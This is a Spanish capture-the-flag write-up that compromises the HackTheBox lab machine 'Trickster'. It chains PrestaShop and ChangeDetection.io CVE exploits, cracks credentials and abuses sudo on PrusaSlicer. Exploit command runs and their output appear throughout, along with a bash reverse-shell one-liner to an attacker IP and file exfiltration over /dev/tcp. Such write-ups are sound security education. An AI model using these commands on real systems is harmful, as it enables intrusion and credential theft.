Trickster es una máquina Linux de dificultad media que presenta una aplicación PrestaShop vulnerable a . La explotación de esta vulnerabilidad otorga acceso al servidor remoto como usuario www-data. Una enumeración más detallada revela archivos de configuración de PrestaShop que contienen credenciales de base de datos, lo que nos permite volcar y descifrar hashes de contraseña para obtener la contraseña del usuario james. Luego podemos ingresar al servidor mediante SSH como james. También está presente un contenedor Docker que ejecuta ChangeDetection.io, vulnerable a , que puede explotarse para obtener un shell raíz dentro del contenedor. Dentro del contenedor, los archivos de respaldo de ChangeDetection.io revelan la contraseña del usuario adam, que permite el acceso SSH como adam. Finalmente, la escalada de privilegios a root se logra explotando en la herramienta PrusaSlicer.
Reconnaissance
Realizaremos un reconocimiento con Nmap para ver los puertos que están expuestos en la máquina Trickster. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.34 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 23:44 CET
Nmap scan report for 10.10.11.34
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 13.75 seconds
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.34
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Apachey el servicio de SSH.
❯ nmap -sCV -p22,80 10.10.11.34 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 23:45 CET
Nmap scan report for trickster.htb (10.10.11.34)
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 106.23 ms 10.10.16.1
2 32.34 ms trickster.htb (10.10.11.34)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds
Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Añadiremos en nuestro archivo /etc/hosts la siguiente entrada.
Realizarmeos una enumeración del sitio web a través de la herramienta de dirsearch. En el resultado obtenido, nos encontramos que al parecer está una carpeta de /.git/ expuesta.
Accediendo a un directorio de Logs, nos encontramos con el siguiente archivo el cual mencionan que se realizó un Update del panel de Administración.
A través de la herramienta de GitHack, nos descargaremos el contenido de la carpeta /.git/ en nuestro equipo local. En el resultado obtenido, obtenemos el nombre de un directorio que empieza por admin.
❯ python3 /opt/GitHack/GitHack.py http://shop.trickster.htb/.git/ 2>/dev/null
[+] Download and parse index file ...
...[snip]...
❯ ls -l
drwxrwxr-x kali kali 4.0 KB Fri Jan 24 23:49:55 2025 admin634ewutrx1jgitlooaj
.rw-rw-r-- kali kali 1.3 KB Fri Jan 24 23:50:10 2025 autoload.php
.rw-rw-r-- kali kali 2.4 KB Fri Jan 24 23:50:10 2025 error500.html
.rw-rw-r-- kali kali 1.1 KB Fri Jan 24 23:50:10 2025 index.php
.rw-rw-r-- kali kali 1.2 KB Fri Jan 24 23:50:10 2025 init.php
.rw-rw-r-- kali kali 4.9 KB Fri Jan 24 23:49:52 2025 INSTALL.txt
.rw-rw-r-- kali kali 522 B Fri Jan 24 23:49:52 2025 Install_PrestaShop.html
.rw-rw-r-- kali kali 180 KB Fri Jan 24 23:49:52 2025 LICENSES
.rw-rw-r-- kali kali 863 B Fri Jan 24 23:49:52 2025 Makefile
PrestaShop es una plataforma gratuita de código abierto diseñada específicamente para crear y administrar comercios electrónicos. En concreto, Prestashop es un CMS (Content Management System), es decir, un sistema de gestión de contenidos web como lo son, por ejemplo, WordPress, Joomla o Magento
Initial Foothold
PrestaShop Exploitation - XSS to RCE (CVE-2024-34716)
Realizando una búsqueda por internet de las vulnerabilidades de esta versión de PrestaShop nos encontramos con el siguiente repositorio en el cual se aprovecha del CVE original que era un XSS para convertirlo en un RCE y obtener acceso al equipo.
Nos descargaremos el repositorio de GitHub del exploit e instalaremos los requisitos.
❯ git clone https://github.com/aelmokhtar/CVE-2024-34716; cd CVE-2024-34716
Clonando en 'CVE-2024-34716'...
remote: Enumerating objects: 60, done.
remote: Counting objects: 100% (60/60), done.
remote: Compressing objects: 100% (42/42), done.
remote: Total 60 (delta 30), reused 34 (delta 13), pack-reused 0 (from 0)
Recibiendo objetos: 100% (60/60), 6.71 MiB | 18.51 MiB/s, listo.
Resolviendo deltas: 100% (30/30), listo.
❯ pip install -r requirements.txt
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: argparse in /usr/lib/python2.7 (from -r requirements.txt (line 1)) (1.2.1)
Requirement already satisfied: beautifulsoup4 in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 2)) (4.7.1)
Requirement already satisfied: requests in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 3)) (2.21.0)
Requirement already satisfied: soupsieve>=1.2 in /usr/local/lib/python2.7/dist-packages (from beautifulsoup4->-r requirements.txt (line 2)) (1.9.6)
Requirement already satisfied: urllib3<1.25,>=1.21.1 in /usr/local/lib/python2.7/dist-packages (from requests->-r requirements.txt (line 3)) (1.24.3)
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /usr/local/lib/python2.7/dist-packages (from requests->-r requirements.txt (line 3)) (3.0.4)
Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python2.7/dist-packages (from requests->-r requirements.txt (line 3)) (2021.10.8)
Requirement already satisfied: idna<2.9,>=2.5 in /usr/local/lib/python2.7/dist-packages (from requests->-r requirements.txt (line 3)) (2.8)
Requirement already satisfied: backports.functools-lru-cache; python_version < "3" in /usr/local/lib/python2.7/dist-packages (from soupsieve>=1.2->beautifulsoup4->-r requirements.txt (line 2)) (1.6.6)
Lanzaremos el exploit sobre la URL vulnerable de PrestaShop, le indicaremos un correo falso, nuestra dirección IP y el admin-path que encontramos anteriormente.
Al ejecutar el ataque, logramos obtener acceso al equipo como usuario www-data.
❯ python3 exploit.py --url http://shop.trickster.htb --email 'gzzcoo@trickster.htb' --local-ip 10.10.16.5 --admin-path admin634ewutrx1jgitlooaj
[X] Starting exploit with:
Url: http://shop.trickster.htb
Email: gzzcoo@trickster.htb
Local IP: 10.10.16.5
Admin Path: admin634ewutrx1jgitlooaj
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
Serving at http.Server on port 5000
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:12345
Ncat: Listening on 0.0.0.0:12345
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.10.11.34 - - [25/Jan/2025 00:03:18] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
Ncat: Connection from 10.10.11.34:58996.
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
23:03:31 up 20 min, 0 users, load average: 0.01, 0.09, 0.19
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Revisando los diferentes archivos de configuración, nos encontramos con las credenciales de acceso a la base de datos que utiliza PrestaShop.
Probaremos de autenticarnos al MySQL con las credenciales obtenidas, al acceder sin problemas logamos visualizar las bases de datos existentes y las tablas.
www-data@trickster:~/prestashop/app/config$ mysql -u ps_user -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 793
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| prestashop |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> USE prestashop;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [prestashop]> SHOW TABLES;
+-------------------------------------------------+
| Tables_in_prestashop |
+-------------------------------------------------+
...[snip]...
| ps_employee |
...[snip]...
Revisaremos el contenido de la tabla ps_employee, enla cual aparecen las contraseñas en formato hash.
Analizaremos el tipo de hash del cual se trata, y a través de hashcat procederemos a intentar crackear el hash. Obtenemos la contraseña del usuario james en texto plano.
Trataremos de acceder mediante SSH con las credenciales obtenidas del usuariojames. Verificamos que logramos obtener el acceso y visualizar la flag de user.txt.
❯ ssh james@trickster.htb
james@trickster.htb's password:
Last login: Thu Sep 26 11:13:01 2024 from 10.10.14.41
james@trickster:~$ ls
user.txt
james@trickster:~$ cat user.txt
c4dfa6a95***********************
Lateral Movement
Revisaremos si disponemos de algún puerto interno inusual. En este caso, vemos un puerto 41187, que analizamos y no logramos obtener ningún tipo de información interesante.
james@trickster:/opt/PrusaSlicer$ netstat -ano | grep LISTEN
tcp 0 0 127.0.0.1:41187 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
Revisando las tarjetas de red del equipo, nos fijamos que tiene una tarjeta de red para Docker.
Docker es un software de código abierto utilizado para desplegar aplicaciones dentro de contenedores virtuales. La contenerización permite que varias aplicaciones funcionen en diferentes entornos complejos. Por ejemplo, Docker permite ejecutar el sistema de gestión de contenidos WordPress en sistemas Windows, Linux y macOS sin ningún problema.
A través de la herramienta de fscan, trataremos de descubrir nuevos hosts de una red y sus puertos expuestos, similar a Nmap pero sirve más para un escaneo inicial rápido y efectivo. No hace falta que sea instalado a diferencia de Nmap.
Nos descargaremos el binario de fscan, levantaremos un servidor web para compartir el binario.
❯ ls -l fscan
.rwxrwxr-x kali kali 6.8 MB Sat May 11 11:04:09 2024 fscan
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo víctima, nos descargaremos el binario en el equipo y le daremos permisos de ejecución.
james@trickster:/tmp$ wget 10.10.16.5/fscan
--2025-01-24 23:28:44-- http://10.10.16.5/fscan
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7100304 (6.8M) [application/octet-stream]
Saving to: ‘fscan’
fscan 100%[==============================>] 6.77M 2.87MB/s in 2.4s
2025-01-24 23:28:46 (2.87 MB/s) - ‘fscan’ saved [7100304/7100304]
james@trickster:/tmp$ ls -l fscan
-rw-rw-r-- 1 james james 7100304 May 11 2024 fscan
james@trickster:/tmp$ chmod +x fscan
Realizaremos un escaneo de los hosts activos de la red de Docker, en este caso, logramos encontrar un nuevo equipo en la dirección 172.17.0.2.
Realizaremos SSH Port Forwarding para disponer de acceso al puerto interno desde nuestro equipo local.
❯ ssh -L 5000:172.17.0.2:5000 james@trickster.htb
james@trickster.htb's password:
Last login: Fri Jan 24 23:14:03 2025 from 10.10.16.5
Accederemos desde nuestro navegador a http://127.0.0.1:8500 y nos lleva a una página de ChangeDetection. Ingresaremos las credenciales que disponemos actualmente del usuario james. Además, nos aparece la versión de la herramienta.
Changedetection.io es una herramienta avanzada de detección y supervisión de cambios en sitios web que te mantiene informado en tiempo real. Con esta herramienta, puedes rastrear y recibir notificaciones sobre los cambios que se producen en miles de páginas web con facilidad.
Realizando una búsqueda en Internet, nos encontramos con el siguiente CVE-2024-32651.
changetection.io es un servicio de detección de cambios de páginas web, seguimiento de sitios web, monitor de reabastecimiento y notificación de código abierto. Hay una inyección de plantilla del lado del servidor (SSTI) en Jinja2 que permite la ejecución remota de comandos en el host del servidor. Los atacantes pueden ejecutar cualquier comando del sistema sin ninguna restricción y podrían usar un shell inverso. El impacto es crítico ya que el atacante puede apoderarse completamente de la máquina servidor. Esto se puede reducir si la detección de cambios está detrás de una página de inicio de sesión, pero la aplicación no lo requiere (no es de forma predeterminada ni obligatorio).
Proceso de explotación:
Configuración inicial:
Levantamos un servidor web en nuestro equipo atacante, con un archivo index.html básico como contenido inicial.
Añadimos nuestro sitio web al panel de ChangeDetection.io para que sea monitoreado por la herramienta.
Aprovechamiento de la vulnerabilidad:
Modificamos el contenido de index.html en nuestro servidor para disparar la detección de cambios.
Inyectamos un payload malicioso en la sección de notificaciones de la herramienta, diseñado para establecer una Reverse Shell.
Ganar acceso al servidor:
Al activarse la notificación (cuando se detectan los cambios en la página), el servidor ejecutará nuestro payload, permitiéndonos obtener acceso remoto al sistema.
Esta vulnerabilidad destaca por su gravedad, ya que permite a un atacante tomar control completo de la máquina, comprometiendo toda la infraestructura.
PoC manual
Añadiremos nuestra página web en la herramienta.
Una vez añadida, deberemos configurar las opciones dándole a la opción de Edit.
Especificaremos que realice el chequeo de los cambios de versión de nuestra página web en 30 segundos por ejemplo.
En la sección de Notifications, estableceremos las siguientes opciones para que haga una llamada a nuestra página web y el paylaod de la Reverse Shell. Guardaremos los cambios realizados.
Desde nuestro equipo, dispondremos de un archivo index.html, levantaremos un servidor web.
❯ ls -l
.rw-r--r-- root root 618 B Wed Jan 22 12:51:27 2025 index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Nos pondremos en escucha por el puerto especificado en el payload. Realizaremos un par de modificaciones en el archivo de nuestra página hasta que la herramienta de ChangeDetection nos lo detecte.
Una vez nos lo detecte, enviará la notificación con el payload y obtendremos acceso al equipo, que en este caso, se trata del equipo de la red de Docker.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.34] 51220
# whoami
whoami
root
# hostname -I
hostname -I
172.17.0.2
Otra de las maneras más sencillas, para realizar la explotación de esta vulnerabilidad, es través del siguiente repositorio. Los otros repositorios que nos encontramos no nos funcionaban correctamente debido a la autenticación al panel de la herramienta, en este nuevo script si nos permite asignar las credenciales de acceso.
Realizaremos la explotación, le indicaremos la URL donde está la herramienta montada, nuestra dirección IP, el puerto donde estará en escucha y la contraseña del acceso al panel de ChangeDetection. Verificamos que a través de este sencillo script, logramos obtener acceso al equipo víctima.
❯ python3 cve-2024-32651.py --url http://127.0.0.1:5000 --ip 10.10.16.5 --port 444 --password alwaysandforever
Obtained CSRF token: IjI2ZWQ2ZTRkZDJhNmI0ZjhiYzAzZDU3ZjlmNzY3ZmUxNWQ4YzZjZmUi.Z5QtRA.d55yaSsruh29scUFswGxYEAf_yg
Logging in...
[+] Login succesful
Redirect URL: /edit/88e869b2-2f04-4032-bb82-8f53b5b13345?unpause_on_save=1
Final request made.
Spawning shell...
[+] Trying to bind to :: on port 444: Done
[+] Waiting for connections on :::444: Got connection from ::ffff:10.10.11.34 on port 39568
Listening on port 444...
Connection received!
[*] Switching to interactive mode
root@a4b9a36ae7ff:/app# $ hostname -I
hostname -I
172.17.0.2
Privilege Escalation
Docker Breakout
Nos encontramos dentro del contenedor de Docker, el cual queremos encontrar alguna vulnerabilidad, configuración para convertirnos en usuario root.
Revisando el directorio raíz /, nos encontramos con un directorio llamado datastore.
root@a4b9a36ae7ff:/# ls -l
total 64
drwxr-xr-x 1 root root 4096 Jan 25 00:06 app
lrwxrwxrwx 1 root root 7 Apr 8 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Sep 13 12:24 boot
drwxr-xr-x 6 root root 4096 Jan 25 00:06 datastore
Mirando dentro del directorio, hay un directorio llamado Backups que parece ser bastante intersante revisarlo.
root@a4b9a36ae7ff:/datastore# ls -l
total 52
drwxr-xr-x 2 root root 4096 Jan 25 00:16 88e869b2-2f04-4032-bb82-8f53b5b13345
drwxr-xr-x 2 root root 4096 Aug 31 08:56 Backups
Dentro de esta carpeta, nos encontramos con dos archivos comprmidos de un backup de la herramienta.
root@a4b9a36ae7ff:/datastore/Backups# ls -l
total 44
-rw-r--r-- 1 root root 6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip
Desde nuestro equipo atacante, nos pondremos en escucha para recibir el .zip y analizarlo cómodamente.
Desde la máquina víctima, no disponemos de nc para transferir el archivo. Por lo tanto, realizamos un cat del archvo y el output lo enviamos a nuestro equipo a través de /dev/tcp.
Verificamos que logramos obtener el archivo en nuestro equipo local, descomprimiremos el archivo recibido.
❯ ls -l changedetection-backup-20240830194841.zip
.rw-rw-r-- kali kali 6.1 KB Sat Jan 25 01:19:24 2025 changedetection-backup-20240830194841.zip
❯ unzip changedetection-backup-20240830194841.zip
Archive: changedetection-backup-20240830194841.zip
creating: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
inflating: secret.txt
inflating: url-list.txt
inflating: url-list-with-tags.txt
inflating: url-watches.json
Al revisar el contenido del archivo descomprmido, dentro del directorio creado, nos encontramos con un archivo con extensión.br. Este tipo de archivos, lo podemos descomprimir con la herramienta de brotli.
Al descomprmir este archivo, nos genera el archivo .txt que al visualizarlo nos encontramos con las credenciales del usuario adam.
❯ cd b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
❯ ls -l
.rw-r--r-- kali kali 2.5 KB Sat Aug 31 01:47:18 2024 f04f0732f120c0cc84a993ad99decb2c.txt.br
.rw-r--r-- kali kali 51 B Sat Aug 31 01:47:18 2024 history.txt
❯ brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
❯ ls -l
.rw-r--r-- kali kali 12 KB Sat Aug 31 01:47:18 2024 f04f0732f120c0cc84a993ad99decb2c.txt
.rw-r--r-- kali kali 2.5 KB Sat Aug 31 01:47:18 2024 f04f0732f120c0cc84a993ad99decb2c.txt.br
.rw-r--r-- kali kali 51 B Sat Aug 31 01:47:18 2024 history.txt
❯ cat f04f0732f120c0cc84a993ad99decb2c.txt
...[snip]...
Raw Permalink Blame History
< ? php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1' ,
'database_port' => '' ,
'database_name' => 'prestashop' ,
'database_user' => 'adam' ,
'database_password' => 'adam_admin992' ,
Abusing sudoers privilege (prusaslicer)
Probaremos de acceder con el usuario adam y las credenciales encontradas, logramos el acceso.
Al verificar si el usuario disponía de algún permiso de sudoers. Nos encontramos que puede ejcutar como sudo el binario /opt/PrusaSlicer/prusaslicer.
PrusaSlicer es el software de corte para impresoras 3D de Prusa . Básicamente, "corta" un objeto 3D en capas finas y un conjunto de instrucciones que la impresora 3D puede seguir para imprimir el modelo.
james@trickster:~$ su adam
Password:
adam@trickster:/home/james$ sudo -l
Matching Defaults entries for adam on trickster:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
Revisando maneras de aprovecharnos de este permiso de sudoers, nos encontramos con el siguiente repositorio el cual descargaremos en nuestro equipo local.
Editaremos el archivo exploit.sh para establecer nuestra dirección IP de atacante y el puerto desde donde estaremos en escucha. Levantaremos un servidor web para transferir estos archivos al equipo víctima.
❯ cat exploit.sh
/bin/bash -i >& /dev/tcp/10.10.16.5/444 0>&1
❯ ls -l
.rw-rw-r-- kali kali 38 KB Sat Jan 25 01:25:28 2025 evil.3mf
.rw-rw-r-- kali kali 45 B Sat Jan 25 01:26:02 2025 exploit.sh
.rw-rw-r-- kali kali 369 B Sat Jan 25 01:25:28 2025 README.md
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo víctima, nos descargaremos los archivos exploit.sh y evil.3mf.
adam@trickster:/tmp$ wget 10.10.16.5/exploit.sh
--2025-01-25 00:27:00-- http://10.10.16.5/exploit.sh
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45 [text/x-sh]
Saving to: ‘exploit.sh’
exploit.sh 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:00 (3.79 MB/s) - ‘exploit.sh’ saved [45/45]
adam@trickster:/tmp$ wget 10.10.16.5/evil.3mf
--2025-01-25 00:27:08-- http://10.10.16.5/evil.3mf
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39455 (39K) [application/vnd.ms-3mfdocument]
Saving to: ‘evil.3mf’
evil.3mf 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:08 (315 KB/s) - ‘evil.3mf’ saved [39455/39455]
Desde una terminal de nuestro equipo, nos pondremos en escucha por el puerto especificado en el payload para recibir la Reverse Shell.
❯ nc -nlvp 444
listening on [any] 444 ...
Realizaremos la explotación para abusar de este permiso de sudoers del binario.
adam@trickster:/tmp$ sudo /opt/PrusaSlicer/prusaslicer -s evil.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
EXPLOIT
Low bed adhesion
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode
Revisamos que hemos logrado obtener acceso al equipo como usuario root, ya que es quien lo ha ejecutado al disponer de permisos de sudo sobre el binario indicado que ha sido aprovechado para ejecutar la Reverse Shell. Logramos visualizar la flag de root.txt.
❯ nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.34] 60656
root@trickster:/tmp# cat /root/root.txt
cat /root/root.txt
1036cb4e3******************
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a , haciendo hovering sobre los enlaces, visualizamos que hay uno de ellos que nos lleva a un subdominio de la página llamado show.trickster.htb.
Accederemos a y nos encontramos con la siguiente página web, de una tienda de ropa.
Accederemos a para verificar si disponemos del acceso correctamente.
Si probamos de acceder a , nos encontramos con el siguiente panel de inicio de sesión. También se nos indica la versión de PrestaShop.